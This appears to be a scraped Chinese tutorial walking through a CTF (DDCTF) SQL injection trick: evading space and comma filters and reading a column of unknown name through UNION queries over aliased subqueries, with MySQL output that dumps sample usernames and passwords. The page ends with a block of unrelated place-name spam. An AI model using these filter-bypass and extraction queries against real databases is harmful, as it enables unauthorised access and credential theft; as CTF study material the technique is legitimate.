佳木斯湛栽影视文化发展公司

主頁(yè) > 知識(shí)庫(kù) > Mysql如何巧妙的繞過(guò)未知字段名詳解

Mysql如何巧妙的繞過(guò)未知字段名詳解

熱門標(biāo)簽:地方門戶網(wǎng)站 網(wǎng)站排名優(yōu)化 Linux服務(wù)器 AI電銷 服務(wù)外包 呼叫中心市場(chǎng)需求 百度競(jìng)價(jià)排名 鐵路電話系統(tǒng)

前言

本文介紹的是DDCTF第五題,繞過(guò)未知字段名的技巧,這里拿本機(jī)來(lái)操作了下,思路很棒也很清晰,分享給大家,下面來(lái)看看詳細(xì)的介紹:

實(shí)現(xiàn)思路

題目過(guò)濾空格和逗號(hào),空格使用%0a,%0b,%0c,%0d,%a0,或者直接使用括號(hào)都可以繞過(guò),逗號(hào)使用join繞過(guò);

存放flag的字段名未知,information_schema.columns也將表名的hex過(guò)濾了,即獲取不到字段名;這時(shí)可以利用聯(lián)合查詢,過(guò)程如下:

思想就是獲取flag,讓其在已知字段名下出現(xiàn);

示例代碼:

mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| a | b | c | d |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)
 
mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)
 
mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user;
+---+-------+----------+-------------+
| 1 | 2  | 3  | 4   |
+---+-------+----------+-------------+
| 1 | 2  | 3  | 4   |
| 1 | admin | admin888 | 110@110.com |
| 2 | test | test123 | 119@119.com |
| 3 | cs | cs123 | 120@120.com |
+---+-------+----------+-------------+
4 rows in set (0.01 sec)
 
mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e;
+-------------+
| 4   |
+-------------+
| 4   |
| 110@110.com |
| 119@119.com |
| 120@120.com |
+-------------+
4 rows in set (0.03 sec)
 
mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3;
 
+-------------+
| 4   |
+-------------+
| 120@120.com |
+-------------+
1 row in set (0.01 sec)
 
mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d
union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;
+-------------+----------+----------+-------------+
| id   | username | password | email  |
+-------------+----------+----------+-------------+
| 1   | admin | admin888 | 110@110.com |
| 120@120.com | 1  | 1  | 1   |
+-------------+----------+----------+-------------+
2 rows in set (0.04 sec)

總結(jié)

以上就是這篇文章的全部?jī)?nèi)容了,希望本文的內(nèi)容對(duì)大家的學(xué)習(xí)或者工作能帶來(lái)一定的幫助,如果有疑問(wèn)大家可以留言交流,謝謝大家對(duì)腳本之家的支持。

您可能感興趣的文章:
  • 防止xss和sql注入:JS特殊字符過(guò)濾正則
  • 一個(gè)過(guò)濾重復(fù)數(shù)據(jù)的 SQL 語(yǔ)句
  • MySQL注入繞開過(guò)濾的技巧總結(jié)
  • SQL注入中繞過(guò) 單引號(hào) 限制繼續(xù)注入
  • SQL注入繞過(guò)的技巧總結(jié)
  • 多列復(fù)合索引的使用 繞過(guò)微軟sql server的一個(gè)缺陷
  • 關(guān)于SQL注入繞過(guò)的一些知識(shí)點(diǎn)
  • SQL Server簡(jiǎn)單模式下誤刪除堆表記錄恢復(fù)方法(繞過(guò)頁(yè)眉校驗(yàn))
  • SQL注入技巧之顯注與盲注中過(guò)濾逗號(hào)繞過(guò)詳析

標(biāo)簽:衡水 仙桃 銅川 湘潭 崇左 黃山 蘭州 湖南

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《Mysql如何巧妙的繞過(guò)未知字段名詳解》,本文關(guān)鍵詞  ;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問(wèn)題,煩請(qǐng)?zhí)峁┫嚓P(guān)信息告之我們,我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無(wú)關(guān)。
  • 相關(guān)文章
  • 收縮
    • 微信客服
    • 微信二維碼
    • 電話咨詢

    • 400-1100-266
    南岸区| 台中市| 拜泉县| 武汉市| 永州市| 色达县| 门头沟区| 基隆市| 中卫市| 遵义县| 兴山县| 浏阳市| 介休市| 榕江县| 牡丹江市| 朝阳县| 江孜县| 宿迁市| 岗巴县| 宁晋县| 涡阳县| 株洲市| 洪湖市| 黎平县| 合水县| 三门县| 梨树县| 丹阳市| 长泰县| 汾阳市| 武威市| 阿瓦提县| 公安县| 砀山县| 阳城县| 洞口县| 东丽区| 临清市| 涿州市| 漠河县| 汕头市|